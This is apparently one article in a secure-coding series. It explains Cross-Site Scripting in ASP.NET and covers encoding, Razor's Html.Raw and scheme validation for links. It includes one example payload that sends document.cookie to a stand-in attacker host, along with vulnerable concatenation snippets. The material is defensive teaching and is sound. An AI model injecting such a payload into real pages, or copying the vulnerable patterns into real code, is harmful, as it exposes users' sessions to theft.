The previous article showed the user's data becoming a command inside the database. Cross-Site Scripting is the same idea with a different destination: the data becomes code inside the browser.
The difference that matters is who pays. In SQL Injection the one who suffers is your server. Here the one who suffers is another user of your application, who opened a page of yours and received, along with it, code written by a stranger. Running on your application's domain, with its cookies, with its session.
Cross-Site Scripting: the data that becomes markup
HTML has the same structural problem as SQL: it is text that someone on the other side reads and executes. When you build that text by gluing into it something the user typed, you stopped sending a page with content, and started sending a page the user helps to write.
var html = "<h1>Report: " + title + "</h1>";
return Content(html, "text/html");
With title holding July sales, you get what you expected. With title holding a script tag, this is what comes out:
<h1>Report: <script>fetch('https://attacker-example/c?k=' + document.cookie)</script></h1>
The browser has no way of knowing that script was not supposed to be there. It received a single document, with no marking separating what came from you and what came from outside. So it runs it, and the script reads the session cookies of whoever opened the page and sends them somewhere else.
Reflected and stored: two ways to reach the victim
It is worth separating two paths, because the severity changes quite a bit.
In the reflected kind, the malicious data travels in the request itself, usually in the query string, and comes back in the response. To exploit it, the attacker needs to get the victim to click a link they prepared. The damage is real, but it depends on convincing someone to click.
In the stored kind, the malicious data is saved by the application (in a comment, a profile name, a product description) and goes out to everyone who opens that page afterwards. Nobody has to click anything, and a single injection reaches every visitor. It is much worse, and it is the same code defect.
Encoding: the data stops being markup
The fix is the same in spirit as the previous article, and different in form. In the database you could separate command from data into two channels. In HTML there is no second channel, everything travels in the same text. So what is left is to neutralize the characters that carry structural meaning before the data enters the page.
var html = "<h1>Report: " + HtmlEncoder.Default.Encode(title) + "</h1>";
return Content(html, "text/html");
Encoding swaps < for <, > for >, the double quote for " and so on. That script tag reaches the browser as text, which the person reads on screen and the browser does not interpret as a tag at all. The data is displayed, not executed.
In Razor this already happens by itself. An @title in a view is encoded by default, and that is the reason most ASP.NET applications never suffered from this. The problem shows up when somebody turns the protection off:
@Html.Raw(title)
Html.Raw and HtmlString exist for the cases where you really do need to emit HTML you assembled yourself. Every time one of them receives something that came from the user, the default protection was switched off exactly where it was needed.
The context changes which encoding you need
Here is the part that tends to catch people who already know about encoding: there is no single encoding. The correct one depends on where inside the document the data lands.
Inside the HTML body, encoding < and > solves it. Inside an attribute, the character that matters is the quote, because escaping it is enough to leave the attribute and add another one. Inside a URL, what counts is URL encoding. And inside a block of JavaScript, none of the above is enough, because there you are already inside a code interpreter.
That last case deserves a direct warning: do not build JavaScript by concatenating user data. If the script needs a value from the server, send that value as data, serialized, and read it from JavaScript.
var payload = JsonSerializer.Serialize(new { title });
return Json(payload);
The case where encoding does not help
There is a situation where HTML encoding is correct and the page is still vulnerable: when the user's data becomes the address of a link.
var link = "<a href='" + url + "'>Open report</a>";
If url holds javascript: followed by code, there is no <, no > and no quote anywhere. HTML encoding passes over it without changing anything, the attribute stays well formed, and the browser runs the script when the person clicks.
What fixes this is not encoding, it is validating the scheme of the address. You decide which protocols you accept and refuse the rest.
var isSafeScheme = Uri.TryCreate(url, UriKind.Absolute, out var parsed)
&& (parsed.Scheme == Uri.UriSchemeHttp || parsed.Scheme == Uri.UriSchemeHttps);
if (!isSafeScheme)
return BadRequest();
Again the logic of the previous article: list what is allowed, not what is forbidden. Trying to block javascript: by hand forces you to remember data:, variations with a space in the middle, swapped capitals. Accepting only http and https forces you to remember nothing.
Why it goes unnoticed
For the same reasons as SQL Injection, plus one that is specific to here.
Because Razor encodes by default, the whole team works for years without seeing the problem, and the defense becomes invisible. When somebody needs to emit a piece of dynamically built HTML and writes Html.Raw, that person does not feel like they are switching off a protection, because they never saw it switched on.
And there is the fact that the developer is not the victim. You test your own application with your own data, in your own browser, with your own session. A stored Cross-Site Scripting only hurts when someone else opens the page, and that does not happen on your machine.
What this becomes in training
Every pattern here goes into the training material in pairs, same as the previous article: the version that concatenates directly labelled as Cross-Site Scripting, and the same line with the encoding labelled as safe.
This is the category where the classifier ended up most eager: it finds every case it should, and in exchange it also flags correct code from time to time. That balance is not an accident, and the article about the second opinion explains why it is the one you want in a first filter.
The next article continues the fundamentals with Command Injection, where the user's data becomes neither a database command nor page markup, but an operating system command.